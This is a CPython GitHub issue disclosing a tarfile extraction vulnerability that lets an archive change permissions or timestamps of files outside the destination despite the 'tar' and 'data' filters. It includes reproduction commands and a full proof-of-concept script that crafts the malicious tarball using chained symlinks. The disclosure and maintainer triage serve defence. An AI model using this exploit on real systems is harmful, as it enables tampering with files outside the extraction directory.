New issue

TarFile.extractall(..., filter='tar') arbitrary file chmod #127987

Open

Labels 3.10 3.11 3.12 3.13 3.14 3.9 (EOL) stdlib type-bug type-security

jwilk opened on Dec 16, 2024 · edited by bedevere-app Edits

`TarFile.extractall()` can be tricked into chmodding arbitrary file (outside of the destination directory) to `0755`, despite using `filter='tar'`:

```
$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:00 /tmp/tmp.uxCZC0Zs3F
$ python3 -m tarfile --filter=tar -e eggs.tar $(mktemp -d)
$ ls -l $target
-rwxr-xr-x 1 jwilk jwilk 0 Jan  1  1970 /tmp/tmp.uxCZC0Zs3F
```

`filter='data'` is vulnerable too, although in that case the damage is limited to updating the file timestamp:

```
$ target=$(mktemp)
$ defeatpep706 eggs.tar $target
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Dec 16 12:01 /tmp/tmp.WeCifOsQmp
$ python3.12 -m tarfile --filter=data -e eggs.tar $(mktemp -d)
$ ls -l $target
-rw------- 1 jwilk jwilk 0 Jan  1  1970 /tmp/tmp.WeCifOsQmp
```

Here's the source for the `defeatpep706` script:

```
#!/usr/bin/python3

import argparse
import os
import tarfile
```

```
ap = arparse = argparse.ArgumentParser()
ap.add_argument('tarpath', metavar='TARBALL')
ap.add_argument('target', metavar='TARGET')
opts = ap.parse_args()
target = os.path.abspath(opts.target)

with tarfile.open(opts.tarpath, 'w') as tar:

    def addmemb(name, **kwargs):
        memb = tarfile.TarInfo(name)
        for k, v in kwargs.items():
            getattr(memb, k)
            setattr(memb, k, v)
        tar.addfile(memb)

    # lrw-r--r-- pwn -> .
    addmemb('pwn', type=tarfile.SYMTYPE, linkname='.')
    # "pwn" is a very innocent symlink.

    # drwxrwxrwx pwn/
    addmemb('pwn', type=tarfile.DIRTYPE, mode=0o777)
    # But now "pwn" is also a directory, so it's scheduled to have its
    # metadata updated later.

    # lrw-r--r-- pwn -> x/x/x/x/⋯⋯⋯/x/../../../../⋯⋯⋯/../TARGET
    addmemb('pwn', type=tarfile.SYMTYPE, linkname=('x/' * 99 + '../' * 99 + target))
    # Oops, "pwn" is not so innocent any more.
    # But technically it's still pointing inside the dest dir,
    # so it doesn't upset the "data" filter.

    # lrw-r--r-- x/x/x/x/⋯⋯⋯/x -> ../../../⋯⋯⋯/..
    addmemb(('x/' * 99), type=tarfile.SYMTYPE, linkname=('../' * 98))
    # The newly created symlink symlink points to the dest dir,
    # so it's OK for the "data" filter.
    # But now "pwn" points to the target (outside the dest dir).
```

Tested with Python 3.12.8.

Linked PRs

- gh-127987: Ensure that directories are not renamed during `tar.TarFile.extractall()` #134628

picnixz added **stdlib** on Dec 16, 2024

picnixz added this to Zipfile issues and Tarfile issues and removed this from Zipfile issues on Dec 16, 2024

picnixz on Dec 17, 2024 Member

cc @sethmlarson for deciding whether this is a bug or a security issue

sethmlarson on Dec 17, 2024 · edited by sethmlarson — Edits — Contributor

This is a security issue, since it's already public we can handle it publicly. @jwilk in the future you can report issues that have to do with permissions to `security@python.org` or open a GitHub Security Advisory.

sethmlarson added type-security on Dec 17, 2024

picnixz added type-bug 3.12 3.13 3.14 on Dec 17, 2024

picnixz on Dec 17, 2024 — Member

@jwilk Thanks for the report. To update the labels, can you also check whether this happens on 3.9? (or check if the code has been changed? I'm no more on my dev session)

jwilk on Dec 20, 2024 — Author

I can reproduce the bug with Python 3.9.21, 3.10.16 and 3.11.11.

❤️ 1

picnixz added 3.11 3.10 on Dec 20, 2024

195 remaining items

Load more

Metadata

Assignees

No one assigned

Labels

3.10 3.11 3.12 3.13 3.14 3.9 (EOL) stdlib type-bug type-security

Projects

Tarfile issues

Status No status

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants